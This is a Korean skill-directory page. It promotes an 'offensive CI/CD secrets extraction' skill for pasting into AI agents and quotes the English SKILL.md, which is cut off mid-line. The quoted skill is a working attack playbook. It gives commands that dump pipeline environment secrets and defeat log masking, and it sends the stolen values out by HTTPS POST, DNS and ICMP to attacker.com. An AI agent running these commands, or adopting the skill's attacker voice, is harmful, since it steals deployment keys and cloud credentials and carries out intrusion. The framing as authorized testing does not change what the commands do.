offensive-cicd-secrets
하는 일
이 스킬은 승인된 테스트에서 CI/CD 환경의 노출된 비밀 정보를 찾는 방법론입니다. 환경 변수, 볼트 설정 오류, OIDC 연합 위험을 다룹니다. 파이프라인이 자격 증명을 어떻게 저장하고 사용하는지 확인하는 보안 전문가를 위한 스킬입니다.
사용하는 경우
- ✓승인된 평가에서 CI/CD 작업이 배포 키나 토큰을 노출하는지 테스트할 때.
- ✓HashiCorp Vault나 클라우드 비밀 관리자의 잘못된 설정을 확인하고 싶을 때.
- ✓파이프라인과 클라우드 계정 사이의 OIDC 신뢰를 검토해야 할 때.
스킬 링크
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-secrets/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“CI 환경을 테스트할 승인을 받았습니다. 빌드 비밀 정보나 클라우드 토큰이 노출되었는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 파이프라인에서 코드가 실행된다고 가정하고, 환경을 나열해 비밀 패턴이 있는 변수를 걸러냅니다. 그다음 사용 가능한 토큰으로 자격 증명 저장소를 조회하고, 클라우드와 OIDC 신뢰 경로를 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Offensive CI/CD Secrets Extraction
Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
Quick Workflow
- Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
- Enumerate the execution environment -- platform, runner type, available tools, network access.
- Dump all environment variables and filter for secrets patterns.
- Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
- Check for vault/secrets-manager integrations and test for misconfigurations.
- Examine build logs, caches, and artifacts for leaked credentials.
- Test OIDC federation trust if cloud provider integration is present.
- Validate recovered credentials and determine their scope.
- Pivot using recovered secrets to access additional systems, registries, and cloud resources.
Environment Variable Extraction
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
Direct Extraction
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
Targeted Pattern Matching
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
Exfiltration Channels
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism
Vault and Secrets Manager Misconfigurations
CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how pipelines authenticate to and retrieve secrets from these systems.
HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_A
자주 묻는 질문
파이프라인 진입점이 먼저 필요한가요?
네. 스킬은 파이프라인에서의 코드 실행을 출발점으로 삼으며, 이를 얻는 방법은 별도 스킬에서 다룹니다.
어떤 볼트를 다루나요?
HashiCorp Vault와 AWS, Azure, GCP의 비밀 관리자를 다룹니다.
승인된 용도로만 쓰나요?
네. 서면 허가를 받은 평가를 위해 작성되었습니다.
상세 정보
작성자의 원본 설명
Comprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential
repo: SnailSploit/Claude-Red
인기도
- GitHub 스타
- 10k
- 순위
- #11949
- 라이선스
- MIT
- 업데이트
- 2026. 10. 12.
댓글
- …
이 저장소의 다른 스킬
offensive-active-directory
10k에이전트가 승인된 Active Directory 보안 테스트를 계획하도록 돕습니다. 네트워크 매핑부터 Domain Admin까지 가는 공격 경로 찾기까지 포함합니다.
offensive-netexec
10k에이전트가 승인된 네트워크 테스트에 NetExec(nxc) 도구를 사용하도록 돕습니다. 프로토콜, 인증, 자격 증명 점검을 다룹니다.
offensive-api-abuse
10k에이전트가 비즈니스 로직 악용, GraphQL 위험, 경쟁 상태를 찾는 승인된 API 보안 테스트를 계획하도록 돕습니다.
offensive-api-security
10k에이전트가 OWASP API Top 10을 기준으로 REST, gRPC, WebSocket API에 대한 승인된 보안 테스트를 실행하도록 돕습니다.